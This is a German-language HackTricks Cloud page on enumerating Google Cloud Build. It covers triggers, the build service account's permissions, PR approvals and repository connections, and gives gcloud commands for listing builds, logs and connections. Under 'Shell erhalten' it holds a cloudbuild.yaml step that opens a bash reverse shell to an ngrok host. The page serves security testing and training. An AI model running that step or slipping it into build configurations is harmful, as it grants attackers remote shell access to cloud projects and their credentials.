GCP - Cloud Build Enum
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
Google Cloud Build ist eine verwaltete CI/CD-Plattform, die Software-Bau und Freigabeprozesse automatisiert, sich in Quellcode-Repositories integriert und eine breite Palette von Programmiersprachen unterstützt. Es ermöglicht Entwicklern, Code automatisch zu erstellen, zu testen und bereitzustellen, während es Flexibilität bietet, um Build-Schritte und Workflows anzupassen.
Jeder Cloud Build Trigger ist mit einem Cloud Repository verbunden oder direkt mit einem externen Repository (Github, Bitbucket und Gitlab) verbunden.
tip
Ich konnte hier oder von Cloud-Repositories aus keine Möglichkeit sehen, das Github/Bitbucket-Token zu stehlen, da das Repo beim Herunterladen über eine https://source.cloud.google.com/ URL zugegriffen wird und Github nicht vom Client aus zugegriffen wird.
Ereignisse
Der Cloud Build kann ausgelöst werden, wenn:
- Push zu einem Branch: Geben Sie den Branch an
- Push eines neuen Tags: Geben Sie das Tag an
- Pull-Anfrage: Geben Sie den Branch an, der die PR erhält
- Manuelle Ausführung
- Pub/Sub-Nachricht: Geben Sie das Thema an
- Webhook-Ereignis: Wird eine HTTPS-URL bereitstellen und die Anfrage muss mit einem Geheimnis authentifiziert werden
Ausführung
Es gibt 3 Optionen:
- Eine yaml/json die die auszuführenden Befehle angibt. Üblicherweise:
/cloudbuild.yaml
- Nur eine, die „inline“ in der Web-Konsole und in der CLI angegeben werden kann
- Häufigste Option
- Relevant für nicht authentifizierten Zugriff
- Eine Dockerfile zum Erstellen
- Ein Buildpack zum Erstellen
SA-Berechtigungen
Das Service-Konto hat den cloud-platform
Scope, sodass es alle Berechtigungen nutzen kann. Wenn kein SA angegeben ist (wie beim Einreichen), wird das Standard-SA <proj-number>@cloudbuild.gserviceaccount.com
verwendet.
Standardmäßig werden keine Berechtigungen erteilt, aber es ist ziemlich einfach, einige zu gewähren:
.png)
Genehmigungen
Es ist möglich, einen Cloud Build so zu konfigurieren, dass Genehmigungen für Build-Ausführungen erforderlich sind (standardmäßig deaktiviert).
PR-Genehmigungen
Wenn der Trigger PR ist, weil jeder PRs zu öffentlichen Repositories durchführen kann, wäre es sehr gefährlich, einfach die Ausführung des Triggers mit jedem PR zuzulassen. Daher wird die Ausführung standardmäßig nur automatisch für Eigentümer und Mitwirkende sein, und um den Trigger mit PRs anderer Benutzer auszuführen, muss ein Eigentümer oder Mitwirkender /gcbrun
kommentieren.
.png)
Verbindungen & Repositories
Verbindungen können über folgende Wege erstellt werden:
- GitHub: Es wird ein OAuth-Prompt angezeigt, der um Berechtigungen bittet, um ein Github-Token zu erhalten, das im Secret Manager gespeichert wird.
- GitHub Enterprise: Es wird gefragt, ob eine GithubApp installiert werden soll. Ein Authentifizierungstoken von Ihrem GitHub Enterprise-Host wird erstellt und in diesem Projekt als Secret Manager-Geheimnis gespeichert.
- GitLab / Enterprise: Sie müssen das API-Zugriffstoken und das Lese-API-Zugriffstoken bereitstellen, das im Secret Manager gespeichert wird.
Sobald eine Verbindung hergestellt ist, können Sie sie verwenden, um Repositories zu verknüpfen, auf die das Github-Konto Zugriff hat.
Diese Option ist über die Schaltfläche verfügbar:
.png)
tip
Beachten Sie, dass Repositories, die mit dieser Methode verbunden sind, nur in Triggern der 2. Generation verfügbar sind.
Ein Repository verbinden
Dies ist nicht dasselbe wie eine Verbindung
. Dies ermöglicht verschiedene Möglichkeiten, um Zugriff auf ein Github- oder Bitbucket-Repository zu erhalten, generiert jedoch kein Verbindungsobjekt, sondern ein Repository-Objekt (1. Generation).
Diese Option ist über die Schaltfläche verfügbar:
.png)
Speicherung
Manchmal wird Cloud Build einen neuen Speicher generieren, um die Dateien für den Trigger zu speichern. Dies geschieht beispielsweise in dem Beispiel, das GCP mit anbietet:
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
Ein Speicher-Bucket namens security-devbox_cloudbuild wird erstellt, um eine .tgz
mit den zu verwendenden Dateien zu speichern.
Shell erhalten
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
Installiere gcloud innerhalb von Cloud Build:
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
Aufzählung
Sie könnten sensible Informationen in Build-Konfigurationen und Protokollen finden.
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>
# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs
# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done
# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
Privilegienerhöhung
Unauthentifizierter Zugriff
GCP - Cloud Build Unauthenticated Enum
Nach der Ausnutzung
GCP - Cloud Build Post Exploitation
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.